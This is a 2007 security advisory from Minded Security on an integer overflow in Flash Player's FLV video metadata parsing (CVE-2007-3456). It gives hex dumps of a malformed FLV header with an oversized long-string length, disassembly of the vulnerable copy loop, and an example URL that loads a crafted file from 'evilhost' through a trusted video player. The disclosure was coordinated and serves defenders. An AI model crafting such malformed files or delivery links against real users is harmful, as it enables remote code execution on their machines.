|
|
MSA01110707:
Flash Player/Plugin Video file parsing Remote Code Execution
Date: July 13, 2007
Tested OS:
Windows xp sp2 Italian,
Windows xp sp2 English
Linux Ubuntu 6.10
Tested Flash Versions:
Flash Plugin 9.0.28.0 Windows
Flash Player 9.0.28.0 Windows
Flash Plugin 9.0.31.0 Linux
Flash Player 9.0.31.0 Linux
Vulnerability identifier:
APSB07-12 (CVE-2007-3456)
Minded Security ReferenceID:
MSA01110707
Credits:
Discovery by
Stefano Di Paola of Minded Security
with contribution of
Giorgio Fedon of Minded Security.
Minded Security would like to thank Elia Florio
for his precious help in the analysis of the
vulnerability.
Link Reference:
http://www.mindedsecurity.com/labs/advisories/MSA01110707
Solution:
See published Adobe Security Bulletin
http://www.adobe.com/support/security/bulletins/apsb07-12.html
[ Summary ]
By using a specially crafted "flv" video it's possible to trigger an
integer overflow inside Adobe Flash interpreter which could lead to
client/browser-plugin crash, arbitrary code execution or system
denial of service.
All OS (Windows, Linux, MacOs,...) seem to be affected.
This is a very dangerous vulnerability, in fact, an attacker
could force a flash video player that is already in place on a remote
web site to crash and execute arbitrary code in the context
of the local machine.
[ Proof of Concept ]
A working exploit was succesfully tested against Windows XP-SP2
(Italian), but it will not be publicly released.
[ Introduction ]
As described in the flash_fileformat_specification.pdf paper,
available on Adobe web site, flv files could contain the following
sections:
1.Audio
2.Video
3.DataObject (Metadata)
Any of these is identified by a single byte value:
0x08 - Audio Section
0x09 - Video Section
0x12 - DataObject Section
"Metadata format description" states that for each object in the
DataObject Section it's possible to define the name and the data type
from a list of bytecodes:
0x00 = Number type
0x01 = Boolean type
0x02 = String type
0x03 = Object type
0x04 = MovieClip type
0x05 = Null type
0x06 = Undefined type
0x07 = Reference type
0x08 = ECMA array type
0x0a = Strict array type
0x0b = Date type
0x0c = Long string type
---
Furthermore there are other descriptors not described in the official
adobe document:
0x0d = "Unsupported",
0x0e = "RecordSet",
0x0f = "XML",
0x10 = "TypedObject",
0x11 = "AMF3Data"
---
So now let's have a look at the following flv header:
0x12 DATAOBJECT (Metadata)->---->--->--.
!
0000000: 464c 5601 0100 0000 0900 0000 0012 0003 FLV.............
0000010: 0000 0000 0000 0000 0200 0a6f 6e4d 6574 ...........onMet
0000020: 6144 6174 6108 ffff ffff ffff 656e 7403 aData.......ent.
0000030: 0002 6173 0002 7966 0961 6d65 7301 0100 ..as..yf.ames...
0000040: 0969 6e74 730a 0000 0000 000d 6175 6469 .ints.......audi
0000050: 6f64 6174 6172 6174 6500 0000 0000 0000 odatarate.......
0000060: 0000 0008 6861 7356 6964 656f 0101 0006 ....hasVideo....
0000070: 7374 6572 656f 0300 0009 000c 6361 6e53 stereo......canS
0000080: 6565 6b54 6f45 6e64 0101 0009 6672 616d eekToEnd....fram
0000090: 6572 6174 6500 4034 0000 0000 0000 000f erate.@4........
.......:
Then after the name of the object for example, "onMetadata", there is
the byte value which defines the proper datatype for the object (0x08
in our example).
The content datatype can be switched to any of the previous types,
including "Long string type" (0x0c) and "XML" (0x0f) using an
HexEditor tool.
Byte "0x0c" states that a field will contain a long string; a
long string has a lenght that must be defined:
------------------------------------------------
StringLength | UI32 String | length in bytes
------------------------------------------------
StringData | STRING String | datas
------------------------------------------------
The definer of the string lenght it's an (unsigned) int 32 bit.
By supplying a data type of 0x0c or 0x0f and then setting the length
to the highest values (0xffffff) the client interpreter could
crash or execute arbitrary code:
0000000: 464c 5601 0100 0000 0900 0000 0012 0003 FLV.............
0000010: 0000 0000 0000 0000 0200 0a6f 6e4d 6574 ...........onMet
0x0c ->--->--->------>.
.
0000020: 6144 6174 610c ffff ffff ffff 656e 7403 aData.......ent.
0000030: 0002 6173 0002 7966 0961 6d65 7301 0100 ..as..yf.ames...
0000040: 0969 6e74 730a 0000 0000 000d 6175 6469 .ints.......audi
0000050: 6f64 6174 6172 6174 6500 0000 0000 0000 odatarate.......
0000060: 0000 0008 6861 7356 6964 656f 0101 0006 ....hasVideo....
0000070: 7374 6572 656f 0300 0009 000c 6361 6e53 stereo......canS
0000080: 6565 6b54 6f45 6e64 0101 0009 6672 616d eekToEnd....fram
0000090: 6572 6174 6500 4034 0000 0000 0000 000f erate.@4........
.......:
Let's think about a swf player which loads at run time a specially
crafted flv video:
------------------
connection_nc = new NetConnection();
connection_nc.connect(null);
stream_ns = new NetStream(connection_nc);
video_holder.attachVideo(stream_ns);
stream_ns.setBufferTime(2);
stream_ns.play('theflvfile.flv');
------------------
Example of abusing this vulnerability by exploiting a remote
swf player:
http://videoplayerhost.tld?flvUrl=http://evilhost/flvmovie.flv
The trusted web video player will open the file crashing the user's
browser or executing the code supplied by the attacker.
[ Runtime analysis ]
This analysis of the vulnerability was tested against the following
component on Windows XP-SP2 (Italian)
FLASH9B.OCX v9.0.28.0
The vulnerable code in the module is located at:
3019C916 75 14 JNZ SHORT Flash9b.3019C92C
3019C918 C1E9 02 SHR ECX,2
3019C91B 83E2 03 AND EDX,3
3019C91E 83F9 08 CMP ECX,8
3019C921 72 29 JB SHORT Flash9b.3019C94C
3019C923 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR
DS:[ESI]
3019C925 FF2495 3CCA1930 JMP DWORD PTR DS:[EDX*4+3019CA3C]
ECX is loaded with the large invalid value (0xFFFFFFFF) supplied
by the attacker with a special crafted FLV file.
The value is converted to 0x3FFFFFFF by SHR and is compared
against 0x08 without a proper sign check.
As result, the next REP MOVS instruction will move an extremely large
buffer from ESI->EDI and will overwrite critical regions of the
memory.
Due to the memory corruption generated by REP MOVS instruction,
Flash9b module will crash due to an access violation when writing.
It has been observed that after the crash, the code execution is
eventually redirected to the following code of the module:
CALL DWORD [EAX + X] ; where X is a constant value
EAX value gets loaded from a buffer pointed by ECX which is partially
overwritten by the data coming from the malformed FLV file and so the
remote code execution is reliable.
[ Disclosure Timeline ]
12/03/2007 Initial vendor notification
14/03/2007 Vendor Confirmed
08/07/2007 Coordinated public disclosure
10/07/2007 Vendor Security Bullettin
12/07/2007 Minded Security Research Lab Advisory
[ Disclaimer ]
The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information.
Any use of this information is at the user's own risk.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research@mindedsecurity.com
for permission.
Copyright (c) 2007 Minded Security, S.r.l..
All rights reserved worldwide.
-----
Research Labs
Minded Security S.r.l.
Web: http://www.mindedsecurity.com
Mail: research_at_mindedsecurity.com